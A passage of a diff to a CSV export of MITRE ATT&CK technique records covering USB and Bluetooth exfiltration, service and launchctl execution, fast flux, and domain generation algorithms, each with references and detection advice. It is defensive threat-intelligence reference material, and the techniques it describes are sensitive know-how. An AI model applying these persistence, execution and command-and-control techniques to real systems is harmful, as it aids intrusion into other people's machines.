channel.",['command-and-control'],https://attack.mitre.org/techniques/T1568/001,mitre-attack,T1568.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1052/001', 'external_id': 'T1052.001'}]",1.1,attack-pattern,attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T13:50:11.467Z,2021-10-15T22:48:29.490Z,Exfiltration over USB,"Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",['exfiltration'],https://attack.mitre.org/techniques/T1052/001,mitre-attack,T1052.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,True,,"['Linux', 'macOS', 'Windows']",,,,['Presence of physical medium or device'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1569/002', 'external_id': 'T1569.002'}, {'source_name': 'Microsoft Service Control Manager', 'description': 'Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.', 'url': 'https://docs.microsoft.com/windows/win32/services/service-control-manager'}, {'source_name': 'Russinovich Sysinternals', 'description': 'Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx'}]",1.1,attack-pattern,attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T18:33:36.159Z,2021-08-30T17:42:40.945Z,Service Execution,"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039). + +[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution. -[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) +Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",['execution'],https://attack.mitre.org/techniques/T1569/002,mitre-attack,T1569.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",True,"['Administrator', 'SYSTEM']",['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1569/001', 'external_id': 'T1569.001'}, {'source_name': 'Launchctl Man', 'description': 'SS64. (n.d.). launchctl. Retrieved March 28, 2020.', 'url': 'https://ss64.com/osx/launchctl.html'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}]",1.1,attack-pattern,attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T18:26:56.187Z,2021-10-15T18:40:23.141Z,Launchctl,"Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) -Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4,attack-pattern,['execution'],2020-03-28T18:52:02.384Z,2020-03-10T18:33:36.159Z,"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).","['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,,"['Administrator', 'SYSTEM']",['Windows'],True,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1569.001', 'url': 'https://attack.mitre.org/techniques/T1569/001'}, {'source_name': 'Launchctl Man', 'url': 'https://ss64.com/osx/launchctl.html', 'description': 'SS64. (n.d.). launchctl. Retrieved March 28, 2020.'}, {'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'source_name': 'Sofacy Komplex Trojan'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1569/001,mitre-attack,T1569.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Launchctl,"Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) +Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w ""%s/Library/LaunchAgents/%s"" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques) +",['execution'],https://attack.mitre.org/techniques/T1569/001,mitre-attack,T1569.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification']",,"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. -By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan) +Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. -Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute ""arg"" ""arg"" ""arg"". Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.",attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d,attack-pattern,['execution'],2020-06-08T23:28:29.079Z,2020-03-10T18:26:56.187Z,"KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.","['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification']",,,"['User', 'root']",['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1569', 'url': 'https://attack.mitre.org/techniques/T1569'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,False,https://attack.mitre.org/techniques/T1569,mitre-attack,T1569,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Services,"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.",attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253,attack-pattern,['execution'],2020-06-08T23:28:29.250Z,2020-03-10T18:23:06.482Z,"Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.","['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']",,,"['User', 'Administrator', 'SYSTEM', 'root']","['Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1568.002', 'url': 'https://attack.mitre.org/techniques/T1568/002'}, {'source_name': 'Cybereason Dissecting DGAs', 'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf', 'description': 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.'}, {'source_name': 'Cisco Umbrella DGA', 'url': 'https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/', 'description': 'Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019.'}, {'source_name': 'Unit 42 DGA Feb 2019', 'url': 'https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/', 'description': 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.'}, {'url': 'http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html', 'description': 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', 'source_name': 'Talos CCleanup 2017'}, {'source_name': 'Akamai DGA Mitigation', 'url': 'https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html', 'description': 'Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.'}, {'url': 'https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html', 'description': 'Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', 'source_name': 'FireEye POSHSPY April 2017'}, {'source_name': 'ESET Sednit 2017 Activity', 'url': 'https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/', 'description': 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.'}, {'source_name': 'Data Driven Security DGA', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.'}, {'source_name': 'Pace University Detecting DGA May 2017', 'url': 'http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf', 'description': 'Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.'}, {'source_name': 'Elastic Predicting DGA', 'url': 'https://arxiv.org/pdf/1611.00791.pdf', 'description': 'Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1568/002,mitre-attack,T1568.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Generation Algorithms,"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) +When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.",True,"['User', 'root']",['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1569', 'external_id': 'T1569'}]",1.1,attack-pattern,attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T18:23:06.482Z,2021-10-15T18:40:23.888Z,System Services,"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.",['execution'],https://attack.mitre.org/techniques/T1569,mitre-attack,T1569,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']",,"Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.",False,"['User', 'Administrator', 'SYSTEM', 'root']","['Windows', 'macOS']",True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568/002', 'external_id': 'T1568.002'}, {'source_name': 'Cybereason Dissecting DGAs', 'description': 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.', 'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf'}, {'source_name': 'Cisco Umbrella DGA', 'description': 'Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019.', 'url': 'https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/'}, {'source_name': 'Unit 42 DGA Feb 2019', 'description': 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.', 'url': 'https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/'}, {'source_name': 'Talos CCleanup 2017', 'description': 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', 'url': 'http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html'}, {'source_name': 'Akamai DGA Mitigation', 'description': 'Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.', 'url': 'https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html'}, {'source_name': 'FireEye POSHSPY April 2017', 'description': 'Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html'}, {'source_name': 'ESET Sednit 2017 Activity', 'description': 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.', 'url': 'https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/'}, {'source_name': 'Data Driven Security DGA', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/'}, {'source_name': 'Pace University Detecting DGA May 2017', 'description': 'Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.', 'url': 'http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf'}, {'source_name': 'Elastic Predicting DGA', 'description': 'Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.', 'url': 'https://arxiv.org/pdf/1611.00791.pdf'}]",1.0,attack-pattern,attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T17:44:59.787Z,2020-11-10T18:28:57.002Z,Domain Generation Algorithms,"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) -Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd,attack-pattern,['command-and-control'],2020-11-10T18:28:57.002Z,2020-03-10T17:44:59.787Z,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. +Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",['command-and-control'],https://attack.mitre.org/techniques/T1568/002,mitre-attack,T1568.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. -Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']","['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1568', 'url': 'https://attack.mitre.org/techniques/T1568'}, {'url': 'http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html', 'description': 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', 'source_name': 'Talos CCleanup 2017'}, {'url': 'https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html', 'description': 'Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', 'source_name': 'FireEye POSHSPY April 2017'}, {'source_name': 'ESET Sednit 2017 Activity', 'url': 'https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/', 'description': 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.'}, {'source_name': 'Data Driven Security DGA', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1568,mitre-attack,T1568,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dynamic Resolution,"Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. +Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568', 'external_id': 'T1568'}, {'source_name': 'Talos CCleanup 2017', 'description': 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', 'url': 'http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html'}, {'source_name': 'FireEye POSHSPY April 2017', 'description': 'Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html'}, {'source_name': 'ESET Sednit 2017 Activity', 'description': 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.', 'url': 'https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/'}, {'source_name': 'Data Driven Security DGA', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/'}]",1.0,attack-pattern,attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T17:28:11.747Z,2020-10-02T01:37:39.938Z,Dynamic Resolution,"Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. -Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b,attack-pattern,['command-and-control'],2020-10-02T01:37:39.938Z,2020-03-10T17:28:11.747Z,"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",['Chris Roffe'],,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1011.001', 'url': 'https://attack.mitre.org/techniques/T1011/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1011/001,mitre-attack,T1011.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Bluetooth,"Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel. +Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",['command-and-control'],https://attack.mitre.org/techniques/T1568,mitre-attack,T1568,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Chris Roffe'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",False,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1011/001', 'external_id': 'T1011.001'}]",1.0,attack-pattern,attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T17:07:57.392Z,2020-03-28T00:34:55.439Z,Exfiltration Over Bluetooth,"Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel. -Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd,attack-pattern,['exfiltration'],2020-03-28T00:34:55.439Z,2020-03-09T17:07:57.392Z,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. +Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",['exfiltration'],https://attack.mitre.org/techniques/T1011/001,mitre-attack,T1011.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: 